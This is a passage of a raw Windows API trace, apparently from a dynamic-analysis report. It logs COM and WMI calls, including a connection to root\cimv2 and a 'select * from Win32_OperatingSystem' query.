| out: puCount=0x1d2de258*=0x2) returned 0x0 [0275.117] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0275.118] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0275.118] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0275.118] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0275.119] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0275.119] IUnknown:Release (This=0x4b0108) returned 0x1 [0275.120] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d496d20) returned 0x0 [0275.121] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0275.121] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d496d20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d496ee0) returned 0x0 [0275.121] WbemLocator:IUnknown:Release (This=0x1d496d20) returned 0x0 [0275.121] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d496ee0) returned 0x0 [0275.122] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0275.122] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0275.122] WbemLocator:IUnknown:AddRef (This=0x1d496ee0) returned 0x3 [0275.122] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0275.122] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0275.122] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0275.122] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0275.123] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0275.123] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0275.123] WbemLocator:IUnknown:Release (This=0x1d496ee0) returned 0x2 [0275.123] WbemLocator:IUnknown:Release (This=0x1d496ee0) returned 0x1 [0275.123] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0275.123] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0275.123] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d496ee0) returned 0x0 [0275.124] WbemLocator:IUnknown:AddRef (This=0x1d496ee0) returned 0x3 [0275.124] WbemLocator:IUnknown:Release (This=0x1d496ee0) returned 0x2 [0275.124] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0275.124] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0275.124] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0275.124] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d497220) returned 0x0 [0275.124] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d497220, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d474b10) returned 0x0 [0275.459] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474b10, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b351340) returned 0x0 [0275.459] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351340, pProxy=0x1d474b10, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0275.459] WbemLocator:IUnknown:Release (This=0x1b351340) returned 0x1 [0275.459] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474b10, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b351388) returned 0x0 [0275.459] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474b10, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b351340) returned 0x0 [0275.459] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351340, pProxy=0x1d474b10, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0275.460] WbemLocator:IUnknown:Release (This=0x1b351340) returned 0x2 [0275.460] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0275.460] CoTaskMemFree (pv=0x1d471920) [0275.460] WbemLocator:IUnknown:Release (This=0x1d497220) returned 0x0 [0275.460] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474b10, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b351388) returned 0x0 [0275.460] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0275.461] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0275.533] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474b10, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0275.637] WbemLocator:IUnknown:AddRef (This=0x1b351388) returned 0x3 [0275.637] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0275.637] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0275.638] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b351268) returned 0x0 [0275.638] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351268, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0275.638] WbemLocator:IUnknown:Release (This=0x1b351268) returned 0x3 [0275.638] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0275.638] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0275.638] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b351350) returned 0x0 [0275.638] WbemLocator:IRpcOptions:Query (in: This=0x1b351350, pPrx=0x1b351388, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0275.648] WbemLocator:IUnknown:Release (This=0x1b351350) returned 0x3 [0275.648] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x2 [0275.648] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0275.648] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0275.648] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d474b10) returned 0x0 [0275.649] WbemLocator:IUnknown:AddRef (This=0x1d474b10) returned 0x4 [0275.649] WbemLocator:IUnknown:Release (This=0x1d474b10) returned 0x3 [0275.649] WbemLocator:IUnknown:Release (This=0x1d474b10) returned 0x2 [0275.649] SysStringLen (param_1=0x0) returned 0x0 [0275.649] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0275.649] WbemLocator:IUnknown:AddRef (This=0x1b351388) returned 0x3 [0275.649] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b351388) returned 0x0 [0275.649] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x3 [0275.649] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x2 [0275.649] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0275.649] WbemLocator:IUnknown:AddRef (This=0x1d474b10) returned 0x3 [0275.649] IWbemServices:ExecQuery (in: This=0x1d474b10, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35c8d0) returned 0x0 [0275.677] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35c8d8) returned 0x0 [0275.677] IClientSecurity:QueryBlanket (in: This=0x1d35c8d8, pProxy=0x1d35c8d0, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0275.677] IUnknown:Release (This=0x1d35c8d8) returned 0x1 [0275.677] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b351048) returned 0x0 [0275.677] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35c8d8) returned 0x0 [0275.677] IClientSecurity:SetBlanket (This=0x1d35c8d8, pProxy=0x1d35c8d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0275.717] IUnknown:Release (This=0x1d35c8d8) returned 0x2 [0275.717] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0275.717] CoTaskMemFree (pv=0x1d471a70) [0275.718] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b351048) returned 0x0 [0275.718] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0275.718] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0275.719] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0275.719] WbemLocator:IUnknown:AddRef (This=0x1b351048) returned 0x3 [0275.719] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0275.720] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0275.720] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b350f28) returned 0x0 [0275.720] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350f28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0275.720] WbemLocator:IUnknown:Release (This=0x1b350f28) returned 0x3 [0275.720] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0275.720] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0275.720] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b351010) returned 0x0 [0275.720] WbemLocator:IRpcOptions:Query (in: This=0x1b351010, pPrx=0x1b351048, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0275.720] WbemLocator:IUnknown:Release (This=0x1b351010) returned 0x3 [0275.720] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x2 [0275.720] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0275.720] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0275.720] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35c8d0) returned 0x0 [0275.720] IUnknown:AddRef (This=0x1d35c8d0) returned 0x4 [0275.720] IUnknown:Release (This=0x1d35c8d0) returned 0x3 [0275.720] IUnknown:Release (This=0x1d35c8d0) returned 0x2 [0275.720] WbemLocator:IUnknown:Release (This=0x1d474b10) returned 0x2 [0275.720] SysStringLen (param_1=0x0) returned 0x0 [0275.720] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0275.721] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0275.721] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0275.721] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0275.721] IUnknown:AddRef (This=0x1d35c8d0) returned 0x3 [0275.721] IEnumWbemClassObject:Clone (in: This=0x1d35c8d0, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35c4e0) returned 0x0 [0275.723] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35c4e8) returned 0x0 [0275.723] IClientSecurity:QueryBlanket (in: This=0x1d35c4e8, pProxy=0x1d35c4e0, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0275.723] IUnknown:Release (This=0x1d35c4e8) returned 0x1 [0275.723] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b3523c8) returned 0x0 [0275.723] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35c4e8) returned 0x0 [0275.723] IClientSecurity:SetBlanket (This=0x1d35c4e8, pProxy=0x1d35c4e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0275.725] IUnknown:Release (This=0x1d35c4e8) returned 0x2 [0275.725] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x1 [0275.725] CoTaskMemFree (pv=0x1d471f50) [0275.725] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b3523c8) returned 0x0 [0275.726] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, 